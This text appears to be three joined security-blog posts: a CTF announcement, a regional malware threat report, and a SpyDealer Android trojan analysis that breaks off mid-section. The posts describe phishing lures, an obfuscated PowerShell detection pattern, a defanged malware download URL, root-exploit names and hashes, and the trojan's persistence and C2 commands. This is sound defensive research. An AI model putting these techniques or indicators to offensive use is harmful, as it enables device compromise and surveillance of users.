LabyREnth CTF 2017 Final Week: Beat the Maze!

The LabyREnth Capture the Flag (CTF) challenge ends in less than a week!

It’s the final hours of the LabyREnth challenge, do you have what it takes to defeat the goblin king? You’ll have until 4:00 p.m. Pacific Time on July 23, 2017 to complete the challenge.  Do you have the creativity and talent to make it to the finish line?

Though the cash prizes have been claimed, you can still find glory in completing challenges, getting your name in the hallowed halls, and receiving coins and other participation prizes. The CTF is open worldwide, including Palo Alto Networks partners.  Please refer to the official rules by typing 'overview' into the terminal for more on eligibility.

We’ll announce the winners right after the challenge closes, so keep an eye on our blog, watch the @unit42_intel Twitter handle and #LabyREnth hashtag for updates and hints!

Can you escape the LabyREnth?

EMEA Bi-Monthly Threat Reports: Turkey, Saudi Arabia & United Arab Emirates

Introduction

As part of a new series of regular threat report updates to the public covering different sets of countries from around the EMEA (Europe Middle East and Africa) region, this blog covers the emerging and Middle East region focusing on Turkey, Saudi Arabia & United Arab Emirates for April and May, and leads on from my previous blog about the United Kingdom, Germany and France. This new series will dig deeper into current trends, the threats affecting each country, and provide useful tips for mitigating these threats via our AutoFocus Threat Intelligence Service.

In my previous blogs, I introduced the EMEA region at a high-level– a large group of countries each with mixed languages, cultures, and cybersecurity maturity levels. Each also has different industry sectors and different economic profiles, which in turn creates a very diverse environment potentially ripe for cyberattacks.

Headlines

  • Jaff ransomware very prevalent in all three countries using PDF files with embedded weaponized Microsoft Word documents.
  • Spora ransomware uptick, delivered over web-browsing application, in Saudi Arabia.
  • Remote Access Trojans (RATs) especially popular in attacks against Saudi Arabia.

Trends

By Country

According to AutoFocus, Turkey accounted for over three quarters of the total malware samples and the malicious sessions of the three countries I’m examining in April, with almost 2,000 unique malware samples in over 27,000 malicious sessions. The United Arab Emirates accounted for a slightly higher number of samples than Saudi Arabia but both countries had lower volumes – under half of Turkey’s. The same cannot be said when comparing malicious session volume as the United Arab Emirates received almost four times the amount Saudi Arabia did.

Figure 1 below shows the general trends of malicious sessions for each country and highlighting the weekends where volume generally decreases as we tend to see less malspam inbound to organizations and less outbound malicious session volume using application traffic such as web-browsing.

EMEA_1

Figure 1: Daily malware sessions by country

The same malicious session volume data is represented in Figure 2 below in terms of the top 10 most affected industries in all three countries.

Given Turkey’s proportion of the total malicious volume, as mentioned earlier, it’s little surprise to see the country representing highly in many sectors in Figure 2, however other countries did show much higher volume in certain sectors, such as Healthcare in Saudi Arabia, with 96% of the volume, mostly due to the most prevalent of which include Jaff and Cerber. In addition, data stealing Trojans featured highly as well, including strains such as Ursnif, GipStealer, Pony, Lokibot and PredatorPain.

Similarly, the Government sector in the United Arab Emirates saw higher volumes of malware than other countries, receiving many of the same malware families as in the Healthcare sector in Saudi Arabia, mostly due to the large-scale malspam campaigns used for delivery. Conversely, Remote Access Trojans (RATs) featured highly only in the Government sector including such strains as ZyklonHTTP and LuminosityLink.

EMEA_2

Figure 2: Daily malware sessions by Industry

Top Malware

The following charts in Figure 3 below show the top malware by way of the highest number of unique samples seen targeting each of the three countries.

The charts clearly show overlap between the countries and the malware observed in the region. PdfDocmDropper, for example was the number one malware in terms of prevalence accounting for almost half of the samples in both Saudi Arabia and the United Arab Emirates. This malware is closely linked to Jaff ransomware and was also highly prevalent in Turkey only to be beaten by RanserKD.

EMEA_3EMEA_4

EMEA_5

Figure 3: Top Malware by Country

EMEA_6EMEA_7

A switch occurred in April whereby variants of Jaff ransomware that were previously delivered using weaponised Microsoft Word documents changed to using PDF files that contained said Word documents, embedded within the PDF. When opened, most applications rendering the PDF content will prompt the user to open the embedded file with leading text to encourage this behavior, as shown in Figure 4. If the embedded Word document is opened, the Microsoft Word will take over, and produce a more traditional view, together with social engineering content, to encourage the recipient to enable the VBA macro content, as shown in Figure 4.

EMEA_8 EMEA_9

Figure 4: (left) PDF Document Dropper containing embedded Word document (right)

The fact that there is an additional step (opening the embedded Word document from within the PDF) in the infection chain in many ways may lead to fewer infections simply because would-be victims get another chance to question if this is suspicious behavior, however, we believe belief is that PDFs are being used here because as weaponized Word documents are so ubiquotous that security policies are being applied to limit their delivery into enterprise organizations.

Typically these PDF droppers arrive via email with filenames such as “Scan_920684.pdf” and “123-229928252-reg-invoice.pdf” where numbers can differ. Similar subject lines for the emails are used, including “Scan Data” and “Copy of your 123-reg invoice ( 123-595747586 )”.

EMEA_10

RanserKD ransomware was seen during this period affecting both Turkey, where it was the most prevalent malware, and Saudi Arabia but in a much smaller scale and only affecting the Consumer and Packaged Goods sector. Figure 5 below shows the different industries affected in Turkey.

EMEA_11

Figure 5: Industries in Turkey affected by RanserKD

Some examples of session informaiton from the attacks seen in Turkey include filenames like “771040.doc” and email subjects as follows (with their English translation):

  • Odeme yapmanizi rica ediyoruz (we ask you to drink);
  • Istediginiz bilgi burada (The information you want here);
  • Lutfen onerimize bakin (Look at our tips)

RanserKD, a family of file-encrypting ransomware that has been with us since the start of the 2017 in ever-increasing volume, is quite novel making use of legitimate webservices, such as Imgur and Dropbox, as part of its communication schema. Weaponized Word documents typically look like the example shown in Figure 6 below, often including leading text and techniques to encourage recipients to click on links.

EMEA_12

Figure 6: RanserKD weaponized document example

During execution of a RanserKD weaponized Word document in our Wildfire sandbox numerous malicious behaviors are exhibited, including the malicious VBA code launching, in the context of the Word application process, a new command shell process in turn to execute a PowerShell command. Figure 7 below shows this activity as reported through AutoFocus.

EMEA_13

Figure 7: Wildfire sandbox analysis for RanserKD initial infection behavior

The command appears quite convoluted but essentially it attempts to download the ransomware payload from a list of URLs, saving the file in the user’s %TEMP% folder using a random number for the filename, and executing said payload.

Grey box 1

Top Applications

Figure 8 plots the malicious sessions seen in the three countries by their respective applications, where said application is common to all countries. The most common method for malware delivery was email, especially when combining SMTP, POP3, IMAP, and other webmail applications together. This trend matches malware delivery activity globally. Based off these metrics we can deduce that social engineering via specially crafted phishing emails is still a heavily used attack method.

The SMTP volume breakdown between the three countries indicates that Saudi Arabia received the most malicious sessions, which is interesting considering that the total of all application session volume in Saudi Arabia was almost five times less than Turkey’s and that Saudi Arabia received fewer unique samples over those more plentiful SMTP sessions. Aside from Jaff ransomware the most prevalent malware over SMTP in Saudi Arabia was Pony – a downloader with plugins for credential harvesting.

EMEA_15

Figure 8: Malware sessions by application by Country

EMEA_16Pony is a popular downloader program that can download additional malware onto the infected system. It is also equipped with a number of plugins that may be used to steal stored credentials for various applications such as FTP clients, web browsers, email clients, and other software. Pony is also commonly known as Fareit.

This commodity Trojan is common and often seen in high volumes throughout the world. Although this sparkline indicates what appears to be a slight decline EMEA_17in this period as compared to three to four months prior, the session volume still averages well over two thousand per day. For the three countries examined, the industries most targeted were Higher Education, Consumer Packaged Goods, Wholesale and Government.

EMEA_18

 

Loki Bot is a commodity malware sold on underground sites and is designed to steal private data from infected machines, and then submit that info to a command and control host via a HTTP POST. This private data includes stored passwords, login credential information from web browsers, and a variety of cryptocurrency wallets. Globally, LokiBot is trending upwards EMEA_19to hundreds if not thousands of sessions per day. Often the SMTP session emails have double file extensions, such as ‘.pdf.exe’ as well as ‘.gz’ extension purporting to be gzip compressed files.
EMEA_20

Spora was mentioned in the last threat report blog as being especially prevalent in France. In this report Spora is the most prevalent malware seen over the web-browsing application with more than one quarter of all such samples. Most of the volume seen was in Saudi Arabia, which had over three times the volume compared to the United Arab Emirates; Turkey saw no Spora activity during this period.

As described in the last blog the growth of Spora globally since early this year had been quite high and we can see this trend EMEA_21 continues further into 2017.

Many of the web-browsing sessions containing Spora ransomware use filenames such as “Chrome font.exe” that purport to be font files or other updates related to the Google Chrome web browser. The target industry in both countries is Securities and Investment Services.

Threats

Country Specific

We can see further differences between the three countries, as Figure 9 below highlights. Despite the vast majority of malware families being common across all three countries and globally, there are some malware families only in observed in one country. The following section describes each of these country-specific threats and shows their global trends for the last six months in the form of sparkline charts highlighting each malware’s peak and trend over the extended period.

EMEA_22

Figure 9: Unique malware families, by Country

EMEA_23

Nymaim is family of ransomware that includes components to download other malware and lock PCs. This malware is frequently distributed by Exploit Kits and malspam messages. In this case, the sessions in Turkey were sent over SMTP and the handful of samples seen during this period were present in several thousand sessions around the world as part of a large campaign. Email subject lines referenced “invoices” and “unpaid items” and many were in Polish, with some sender addresses including Polish domain names.

AutoFocus shows that globally, over the extended period of the last six months, the volume of Nymaim ransomware is trending EMEA_24 down but with some fairly significant activity reaching several thousand sessions per day from time to time.
EMEA_25

KasperAgent is a downloader malware family used in targeted attacks deployed to gain a foothold into target organizations. It supports a basic set of commands including the ability to capture keystrokes, screenshots, exfiltrate basic system and user information, and steal passwords from common web browsers.

The malware seen in Turkey targeted companies in the Media and Entertainment sector, as described in this Unit 42 and ClearSky collaborative blog, by sending emails with executable attachments having .scr extensions. Subject lines for such emails included text such as: مراسلة بين قيادة حركة حماس وقوي الامن الداخلي بغزة اعلان حرك , which translates to “Correspondence between the leadership of Hamas and the Internal Security Forces in Gaza”. Hamas is the de facto governing authority of the Gaza Strip since its takeover of that area in 2007; the Internal Security Forces are the national police and security force of Lebanon.

Session volume for this malware is quite low in total but has recently shown several larger spikes EMEA_26 after a period of little activity.
EMEA_27

ImminentMonitor (aka MorphineRAT), targeting Consumer Packaged Goods sector in Saudi Arabia via SMTP, is a popular Microsoft .NET Framework RAT with extensive functionality containing multiple plugins from crypto-currency miners to keylogging.

The SMTP sessions appear to be from spoofed accounts with most sessions originating from the U.S. with the sender email address coming from Gmail and yahoo addresses. Subject lines and attachment filenames include “Police Invitation Letter” or contain “Invoice”, “Proforma”, “Swift” or “Payment” references. The emails have the ImminentMonitor RAT malware attached as executable files having .EXE file extensions.

Higher volumes of this RAT were seen some months ago, however, very recently there’s been an uptick EMEA_28of several hundred sessions per day.
EMEA_29 QuasarRAT is a Remote Access Trojan that can collect a victim’s personal information and send it to a malicious actor. It can also imitate a legitimate website to lure you into revealing your personal information.

The samples tagged in AutoFocus affecting Saudi Arabia were also seen in conjunction with the OfficePackager AutoFocus tag as the executable malware was delivered as an embedded object within a Word document. The malicious behavior section below describes this delivery method in more detail. Example subject lines from the malicious emails included “AIR FREIGHT SHIPPING” and targeted the Consumer Packaged Goods sector.

Session volume globally for the last six months has been pretty low however since the peak of almost 500 sessions in one day back in February, there have been some other quite large spikes of activity EMEA_30 as well.

EMEA_31

DownloadSponsor bundles unwanted applications into the install process without user consent. Installed applications can include PriceSparrow capable of updating web browser home pages and installing other adware related files for monetization purposes. In the United Arab Emirates, this malware was installed by an instance of the Remote Access Trojan RemcosRAT. Globally, DownloadSponsor was extremely prevalent EMEA_32 about six months ago but now we see a much lower, albeit consistent, volume of hundreds of sessions per day.

EMEA_33During this period, other RemcosRAT sessions in the United Arab Emirates – those not installing DownloadSponsor – targeted Government, and Securities and Investment Services sectors with emails having subject lines such as “NEW ORDER.” and “TT Payment USD64,365.90”. These originated from the United States and Turkey respectively. File attachments were executed files with .EXE extensions.

Expanding the search for RemcosRAT to the other two countries only Turkey saw the malware with similar session information as per the United Arab Emirates, however, in two cases the attached files were .doc Word documents containing exploits – RTF-ASLR-Bypass and RTF-OLE-Exploit. The RAT payload installed after the exploits have successfully run also exhibits a behavior tagged in AutoFocus as PingSleep that was not seen in the aforementioned RemcosRAT variants in this report. More details can be seen in the malicious behaviors section below.

RemcosRAT emerged in underground forums in late July 2016. The RAT is written in C++ and provides full access to a compromised system including: downloading files, uploading files, listing drives and files, executing commands, stealing data, and logging keystrokes. Globally the malware peaked earlier this year but a slight uptick EMEA_34 has been witnessed again recently.

EMEA_35Grenham is a virus written in Delphi that infects other files found on the victim system having a .exe extension. The virus replaces the original filename with a copy of itself and renames said original as “g<filename>.<extension>” or “v<filename>.<extension> where <filename> is the name of the original file and <extension> the matching original extension. This process is highlighted in the three pictures below in Figure 10. The virus also creates a system Mutex "Paint" to ensure multiple instances of the malware. The malware is distributed over email using .exe or .bat files and purporting to be invoice or purchase order related. Globally the volume is fairly consistent EMEA_36 averaging around one hundred sessions each day.

EMEA_37EMEA_38EMEA_39

Figure 10: Grenam virus infection effects. Left: original, middle: copies of malware using original filenames, right: original files renamed.

Malicious Behaviors

As mentioned in my last blog on EMEA threat trends, malicious behaviors can be a powerful way of discovering new threats or suspicious applications. The reason being because many malicious behaviors are common across multiple malware families irrespective of the type of threat be they ransomware or information stealing Trojans. These commonalities could include the same persistence mechanisms, evasion, or communication techniques, and so forth. In this next section, we will investigate some of the most prevalent behaviors that were on the rise in the three studied countries as well as globally over the last six months.

EMEA_40 Seen in conjunction with Pony sessions in all three countries, QuasarRAT in Saudi Arabia and AgentTesla – a small .NET based keylogger readily available to actors to log keystrokes and the victim’s clipboard to send back to the command and control (C2) channel – in the United Arab Emirates.

OfficePackager or “OLE Packager” is a feature introduced in Windows 3.1 and is still present in every version of Microsoft Office, on every Windows OS. It allows you to embed any file into Office documents. It is also very dangerous, not only because there is no way to disable it, but also because attackers can use it to spoof the file extension and icon type of the embedded object, and essentially force someone to make a bad trust decision about the content.

Malware authors often use this technique to embed executables or other malicious code into Office documents and use techniques, such as misleading descriptions and iconography to mask the intention and type of the embedded file, to trick users into executing the payload. Figure 11 below shows the container Word document containing what appears to be another embedded Word document but upon opening the embedded file, the Security Warning dialog reveals the actual situation – an executable file, in this case named “DHL SHIPMENT DETAILS.exe” is trying to execute.

EMEA_41

Figure 11: OfficePackager in action: an embedded executable file resembles a Word document.

Over the past six months the trend has been fairly consistent with hundreds or low-thousands daily globally, EMEA_42however the sparkline does not show this consistency due to the huge volumes seen from time to time with the peak value at tens of thousands of malicious sessions containing malware using this behavior seen in a single day.

EMEA_43Malware authors learned long ago that performing a ping, often against the localhost IP address of 127.0.0.1, takes approximately one second to accomplish. As such, malware authors will often execute a series of pings as an alternative to calling a sleep function, or in situations where no such function exists. This behavior is quite common with several thousand malicious EMEA_44sessions seen per day containing malware exhibiting this “sleep” technique. During the peak of such activity over the past six months, that volume increased to close to forty thousand sessions per day.

PingSleep has been seen in conjunction with various malware families over time but during this period, and in these three countries, it was more commonly seen with Cerber ransomware, Loda Trojan that is capable of spying on its victim, and NanoCoreRAT.

The following three behaviors are commonly seen together when malware is delivered using weaponised Word documents to launch system commands, including PowerShell, which themselves are often obfuscated to evade signature based detection techniques. During this period, the three behaviors were used in by the aforementioned Nymaim ransomware targeting Turkey.
EMEA_45 EMEA_46

Has consistently high volume globally, averaging over twenty thousand sessions per day over the last month, and peaking at over one hundred and seventy five thousand sessions in a single day. This behavior represents Malicious Word documents that use VBA macros to launch PowerShell to perform malicious activities, including downloading payloads from the internet. This technique was most prevalent in the three countries in the context of RanserKD and Cerber ransomware, AgentTesla information stealer and to deploy the Pony downloader.

EMEA_47EMEA_48

Identifies samples that invoke “cmd.exe /C” commands to execute a specific Windows Shell command of which common examples include to launch built-in Windows programs such as PowerShell and ping. Despite a general decline over recent months this behavior still exists in various malware families that account for several thousand sessions per day. In the three countries of this report, said families include Spora ransomware, PredatorPain and LokiBot information stealers, Pony and more.

EMEA_49EMEA_50

This technique has declined of late to tens or hundreds of sessions compared to hundreds of thousands per day earlier this year, perhaps due to improved detection techniques counteracting the obfuscation technique, which basically involves using the caret (‘^’) character to evade basic detection by breaking up a command-line string. This AutoFocus tag identifies this technique in the context of the string "powershell", for example: “p^o^w^e^r^s^h^e^l^l”, “p^o^w^e^r^s^h^e^ll”, “p^o^w^e^r^s^h^el^l” and so on. During April and May, this behavior was only seen together with Nymaim ransomware family targeting Turkey.

AutoFocus: Search based on Behaviors

There are two methods for searching in AutoFocus for malicious Behaviors. One is by searching using the tag artifact, like the ones described above and the other method is to use the Observed Behavior artifact.

1. AutoFocus can be used to search for Behaviors malicious (or benign) in applications running in your environment to provide context around them. Pivoting searches in AutoFocus based on Behaviors alone may uncover suspicious files that malware family tagging and searching do not cover.

For example, importing the following AutoFocus query, or running it over the API, will uncover dozens of malware or adware families using the common malicious behavior of ImageFileExecutionOptionsPersistence discussed above.

{"operator":"all","children":[{"field":"sample.malware","operator":"is","value":1},{"field":"sample.tag","operator":"is in the list","value":["Unit42.ImageFileExecutionOptionsPersistence"]}]}

EMEA_51

2. Another artifact that can be used in search is “Observed Behavior”. This is a list of abstracted Behaviors based on a series of Behavioral events and include examples such as applications that set Image File Execution Option entries to load themselves, documents that contain macros, applications that access Alternate Data Streams, and many others.

{"operator":"all","children":[{"field":"sample.malware","operator":"is","value":1},{"field":"sample.tasks.behavior_type","operator":"is","value":"execution_option"}]}

EMEA_52

These queries can also be exported for use with the AutoFocus API. An easy way to access the API is to use our AutoFocus Lenz script available from GitHub. A command like the following can be run that requests a dns_scrape function, limited to 5 results and running a query using the exported JSON query from one the examples above (alternatively this could be for a hash or list of hashes.

python af_lenz.py -r dns_scrape -l 5 -i query -q '{"operator":"all","children":[{"field":"sample.malware","operator":"is","value":1},{"field":"sample.tasks.behavior_type","operator":"is","value":"execution_option"}]}'

The results from this particular query are a few domain names but for brevity:

[+] dns [+]

wiziancko.top

Conclusion

EMEA is a socially and economically diverse region with many interesting assets whether they be citizen data, financial information, or natural resources and, as such, is a target for cyber criminals the world over.

It’s probably no surprise to see ransomware as a prevalent malware crossing all borders into all countries as this malware is mostly victim-agnostic. Any data on any computer in any country is a viable target. We saw a slight change in TTPs (Tools Techniques and Procedures) with one ransomware family, Jaff, which made use of weaponized Word documents embedded inside PDF droppers (AutoFocus tag: PdfDocmDropper) perhaps to bypass increased security measures around the traditional Word document containers.

As per the last report, Spora ransomware accounted for some of the ransomware prevalence, and was delivered over web-browsing application, which differs from the traditional malspam email campaigns.

Clearly Remote Access Trojans and information-stealing malware are prevalent in these countries and their emerging markets.

Cyber Hygiene

The threat landscape is vast and can be complex but you can minimize your risk of infection and enhance the overall health of your network by following some basic cyber hygiene habits:

Patch systems and applications wherever (and as soon as feasibly) possible. Alternatively, focus on other security solutions and methods, such as exploit prevention technology to protect those unpatchable systems and applications from attack, or to help manage patching cycles to suit your requirements. Prioritize patching based on known exploits or in-the-wild-attacks. Segment those unpatched/unpatchable devices in the network with additional access controls based on users or application communication to minimize the risk of exploitation. Perform regular vulnerability scans of systems and review changes to spot new devices or changes in active vulnerabilities.

Segment networks to contain attacks by limiting attacker’s ability to move laterally and to provide additional security for certain areas of the network. This technique can be applied to external-facing networks as well to minimize the exposure to the internet and limit the capability of network worms, such as the recent Wanacrypt0r ransomware attacks.

Change the file association for JavaScript to be opened using Notepad (or something else benign) rather than the Windows Scripting Host or other shell capable of executing malcode. This can be done per PC or enterprise-wide using Group Policy. This will prevent many JavaScript-based threats from running in the context of weaponized documents.

Educate users and employees of the security risks faced by your organization and perform regular training and reminders about these, and how they can help the effort. Provide a platform for users to learn about the risks and to report incidents to security-related staff. Create a culture whereby such reporting is important and valued. Monitor effectiveness of training for the purposes of gap analysis and creating dialogue between security teams and users.

Ensure timely, accurate and verified backups of critical data to provide a feasible option to recover should a malware attack render a system or its data inoperable or inaccessible.

SpyDealer: Android Trojan Spying on More Than 40 Apps

With the prevalence of Google Android smartphones and the popularity of feature-rich apps, more and more people rely on smartphones to store and handle kinds of personal and business information which attracts adversaries who want to steal that information. Recently, Palo Alto Networks researchers discovered an advanced Android malware we’ve named “SpyDealer” which exfiltrates private data from more than 40 apps and steals sensitive messages from communication apps by abusing the Android accessibility service feature. SpyDealer uses exploits from a commercial rooting app to gain root privilege, which enables the subsequent data theft.

SpyDealer has many capabilities, including:

  • Exfiltrate private data from more than 40 popular apps including: WeChat, Facebook, WhatsApp, Skype, Line, Viber, QQ, Tango, Telegram, Sina Weibo, Tencent Weibo, Android Native Browser, Firefox Browser, Oupeng Brower, QQ Mail, NetEase Mail, Taobao, and Baidu Net Disk
  • Abuses the Android Accessibility Service feature to steal sensitive messages from popular communication and social apps such as WeChat, Skype, Viber, QQ
  • Takes advantage of the commercial rooting app “Baidu Easy Root” to gain root privilege and maintain persistence on the compromised device
  • Harvests an exhaustive list of personal information including phone number, IMEI, IMSI, SMS, MMS, contacts, accounts, phone call history, location, and connected Wi-Fi information
  • Automatically answer incoming phone calls from a specific number
  • Remote control of the device via UDP, TCP and SMS channels
  • Spy on the compromised user by:
    • Recording the phone call and the surrounding audio & video.
    • Taking photos via both the front and rear camera
    • Monitoring the compromised device’s location
    • Taking screenshots

There are multiple factors that mitigate the risk of this threat to most users.

  • As far as we know, SpyDealer has not been distributed through the Google Play store
  • We do not know exactly how devices are initially infected with SpyDealer, but have seen evidence to suggest Chinese users becoming infected through compromised wireless networks.
  • We have reported information on this threat to Google, and they have created protections through Google Play Protect.
  • SpyDealer is only completely effective against Android devices running versions between 2.2 and 4.4, as the rooting tool it uses only supports those versions. This represents approximately 25% of active Android devices worldwide. On devices running later versions of Android, it can still steal significant amounts of information, but it cannot take actions that require higher privileges.

As of June 2017, we have captured 1046 samples of SpyDealer. Our analysis shows that SpyDealer is currently under active development. There are three versions of this malware currently in the wild, 1.9.1, 1.9.2 and 1.9.3. Starting from 1.9.3, content of configuration files and almost all constant strings in the code are encrypted or encoded. An accessibility service was also introduced in 1.9.3 to steal targeted apps’ messages. According to our dataset, most of these samples use the app name “GoogleService” or “GoogleUpdate”. The most recent sample we have observed was created in May, 2017 while the oldest sample dates back to October, 2015, indicating this malware family has been active for over a year and a half. We also observed evidence of infected users discussing the malware in October 2015 and February 2016 as shown in Figure 1.

Spydealer_1

 

Figure 1 Real infection instances in the wild

Detailed Technical Analysis

Service Launching and Configuration

After installed on an Android device, SpyDealer shows no application icon. However, it registers two broadcast receivers to listen for events related to the device booting up and network connection status. Whenever any of these events are broadcasted, the key service component AaTService starts. At the first launch, it retrieves configuration information from the local asset file named readme.txt. The first line of this file indicates the IP address of a remote C2 server, the second line configures what actions the malware can take on mobile networks, and the third line specifies what actions are allowed under a Wi-Fi network. The configuration settings can also be remotely updated by various C2 channels. One example of the readme.txt is given in Figure 2. The full list of the IP addresses for the remote C2 servers is available in Appendix B. A partial listing of the configurable actions is depicted in Table 1.

Spydealer_2

Figure 2 Content of the readme.txt

Table 1 Partial Listing of Configurable Actions

Number Action Number Action
1 Get call history 9 Send recorded audio files
2 Get SMS messages 10 Capture screenshot
3 Record audio 11 List files under a given directory
4 Get GSM location 12 Get GPS location
5 Get contacts 20 Intercept incoming SMS messages
7 Get information and network traffic of installed apps 21 Do not intercept incoming SMS messages
8 Get device specific information 82 Get current running apps

 

Rooting and Persistence

SpyDealer uses two different rooting procedures to gain root (superuser) privilege. Samples of version 1.9.1 and 1.9.2 reuse the root exploits used by commercial rooting app “Baidu Easy Root”. Rooting applications like this one are created for users who want to gain low-level access to their phone which wouldn’t be possible without removing some security protections. This is not the first time that Android malware has stolen root exploits from existing commercial rooting tools. Previously in 2015, we saw the Rootnik Android Trojan abuse the “Root Assistant” tool to gain root access.

SpyDealer 1.9.1 and 1.9.2 gain root privilege by abusing “Baidu Easy Root” as detailed below:

  1. Drops a customized su file named sux from assets to the app’s own data directory.
  2. Checks if the infected device is already rooted or not. If the root privilege is available, there is no need to escalate to root privilege.
  3. Checks the existence of the file /data/data/<package_name>/broot/raw.zip which contains all the rooting exploits. If there is no such file, the malware will download it from http[:]//yangxiu2014.0323.utnvg[.]com/apk/raw.zip. The file integrity is then inspected by comparing the MD5 value of the downloaded file and the pre-calculated one from http[:]//yangxiu2014.0323.utnvg[.]com/apk/md5.txt.
  4. Unzips the downloaded file to the app’s data directory and attempt to gain root privilege by systematically executing the exploits one by one.
  5. Installs busybox and remounts system partition as read-write by running a sequence of shell commands with superuser permission.

The downloaded file “raw.zip” contains the exploits from “Baidu Easy Root” version 2.8.3, which is depicted in Figure 4.

Table 2 gives a full list of the exploits stolen by SpyDealer. For example, 022d251cf509c2f0 is an executable binary file observed in the “raw.zip”, and the original file in “Baidu Easy Root” is actually in gzip format. It’s interesting that we can recover its original file name which is fb_mem_root.

Spydealer_3

Figure 4 Files in the downloaded raw.zip and Baidu Easy Root v2.8.3

File Name Original File Name SHA256
022d251cf509c2f0 fb_mem_root d54ab418ba35f7623c45e3ba7fe341be9955f332524a251a886fbe34b1d11af4
23c6b143cd0d6c15 camera_config_exp 7e238f8f1f61dd81f1bebc59717b86769adeca6615f0460fc282d7a0ced1f10d
297e4ba234a39ee6 put_user_opt_exp 3367c0dd8ead724da0c8cd05e8f15a3664ec418bdcdaa2b3721fbc5f7b060f86
460dbcebd7f09800 hw_hisi_exp 7ceb9ec2d02a29bcece226f9e29c9e161594dcb8e40dc853325ac087863d144d
4f2d1af460417f6a boomsh 1b7a7fb6546c28e62506f458ccaff513743f568793a9fe639c2c54c3bcdec07a
54a9d3d68cb16d5a omap_dsp_exp 977dcfc06889d3a4a30d4f2a97a29df812a3cb18fcced894fa2293cbf9f2fb37
5fb437fbf964d7e7 mtk_isp_exp 51b970eef664819f28d5c3ad5c29ecff089d21b6164c6be495956b5002f43c14
621f1ca29529a0ab mtk_fdvt_exp 0ad1a250341839e3d9c5567f79b56aab501ab9e06375f401a74fbfeadd6bd40b
63e31e6275526979 mtk_isp_exp2 22a45ceb1ba9fbf377f89530baf85542d34294cefd3530ca563d148a58ae2f8d
65d21f6fc35ec9f1 camera_root 04e331353b028c87e2804df20bdbea845fb03323d3c7ce9003807ff91925b49b
75ea92243ef5ba08 s3c_video_exp 5fb0de184fc0c95add07727cad833c23888e08229631354571d859d27c4b7b5b
7e1d4da7f8e209fb put_user_exp 0413e5743ef4e3c56bdb22c73c7436544219c2d8bea6f51c1aa24adab7262524
802df67ba2cf7d1b mvl_galcore_exp 8ba1ffc6fe8ce44bb778136dd2c27ccb62a951009769363811ca818a1ee14308
8f28646170a23ff2 exynos_abuse f52a96db49cd8acd6257237bff7b89f1cba755f9fb828ceb12a79a467d2b8405
97145f9a7d58647f s3c_fb_root c9676968ba0b891fbed8db0de8c9dbabb4265e5b7d95705c69c7b925d21f98b3
b19d38ccddca2eff mtk_m4u_exp c464e477daa5f2b8247764497c2f18c8d920bef7bea612f76b25e1477d5436a3
c78eedf55997bf88 futex_cheat_exp 950452471531c89488e28f8e8126d02741efed119c5f1224167fe38a1bf41980
e366af54946d116f mtk_vdec_exp b113ed4edec1cb99fbddca292eb247a773c84f68282cdd09f120ebadcc5c7a60
e45b79e67137d261 dev_mmap_exp e142db432bd6371a6c6eda27143ebbef3efd54f8fbe0ea986fd87d0f8c731681
f2c51886c67482bc common_root_shell fc2b9690b926f4878c717c5a2f986bad0b58f78b7f9b5b4173c4735adb6b00c7
f546e283a9229234 am_jpegdec_exp bcb4c0c6166a9d34a327e157cb12ca4df33d16e98b54ede25b71ed4f7bb7ae5d

SpyDealer 1.9.1, 1.9.2, and 1.9.3 also gain root privilege thought another method that doesn’t use “Baidu Easy Root” as detailed below:

  1. Drop files including sux, getroot, logo.png and busybox_g1 from assets to the app’s own data directory.
  2. Copy files sux, logo.png and busybox_g1 that are dropped in the above step to /data/data/ <package_name>/app_bin
  3. Generate shell script /data/data/<package_name>/app_bin/toor.sh with the content depicted in Figure 5.
  4. Execute png and toor.sh to gain root privilege, and these two files are deleted at the end.

Spydealer_4

Figure 5 Content of toor.sh

Readers should note that this second rooting method only targets Android versions from 4.0 to 4.3 (included). However, the exploits used in this attack remains unknown to us as none of logo.png, getroot or busybox_g1 exists in the app’s assets.

After gaining root privilege, SpyDealer takes steps to maintain persistence on the compromised device. It first drops a native executable file powermanager to its own data directory (Figure 6.) Once executed, powermanager creates a backup the app’s APK file to /system/bin/update_1.apk. Whenever the app is uninstalled (Figure 7,) the running powermanager will copy the APK file from /system/bin/update_1.apk to /system/app/Update.apk, resulting in the Trojan running as a system app (Figure 8.) After reinstallation, the core SpyDealer service (AaTService) is launched to perform malicious behaviors.

Spydealer_5

Figure 6 Drop and executes powermanager

Spydealer_6

Figure 7 Monitor the data directory and reinstall itself once got uninstalled

Spydealer_7

Figure 8 The malware copies itself to /system/bin/update_1.apk and reinstalls it to /system/app if uninstalled

Command & Control

SpyDealer is capable of receiving commands from remote servers via a number of different channels by either actively initiating connections to C2 servers or passively receiving instructions from C2 servers. These channels include via SMS, UDP and TCP connections. This section details how the malware utilizes each of these channels to communicate with the remote C2 servers.

SMS

SpyDealer registers a broadcast receiver with a higher priority than the default messaging app to listen for the commands via incoming SMS messages. The commands received through SMS are first decoded for further parsing and processing. Each SMS command contains a command index and arguments split by a newline. The command index ranges from 1 to 5 and each command is detailed in Table 3.

Table 3 SMS command list

Command Index Description
1 Get geographical location via GSM cell information.
2 Collect the contacts on the device and send back via SMS.
3 Gather SMS messages which are created later than a given date in the inbox, outbox and draft box, and then send back via SMS.
4 Exfiltrate call histories that are later than a given date through SMS. The collected information contains call duration, phone number and date time.
5 Set the auto reply phone number. The malware will automatically answer the incoming phone call when the number is the same as the set one.

To get the geographical location based on the GSM cell information, SpyDealer takes advantage of the interface of Baidu map service (Figure 9.) It first collects the GSM cell identity, area code and network operator and then posts the encoded data to the Baidu map service to retrieve the geographical location. With this tactic, a compromised device’s location is exposed to the attacker even there is no GPS available.

Spydealer_8

Figure 9 Utilize the interface of Baidu map service to get geographical location

Besides the commands listed above, SpyDealer can also set the remote server’s IP address under the following two conditions:

  • The length of the command index received in the SMS (Table 3) is larger than 4, then the command index is actually the remote server’s IP address
  • The incoming SMS message body starts with the string “L112 ” which is followed by the remote server’s IP address

If SpyDealer receives a command index of 1 or 2, it will not reply when it received an SMS command. However, if it receives a command index of 3, 4, or 5, SpyDealer will acknowledge that a command was received by sending back a specially formatted SMS response. For example, when received the command 5, it will automatically reply a message in the format “msg:repcall|<phone number>”.

All incoming SMS messages that contain commands will be aborted, which means the user will not be aware of these messages. However, other types of SMS messages will also be blocked if the malware is set to do so or the incoming number is in the blocking list.

TCP Server

SpyDealer creates a TCP server on the compromised device listening at port 39568 and waits for incoming commands. The command format and description are listed below in Table 4.

Table 4 Commands via TCP channel

Command Format Description
imei Send back the device IMEI
mobileinfor Send back device information including IMEI, IMSI and phone number
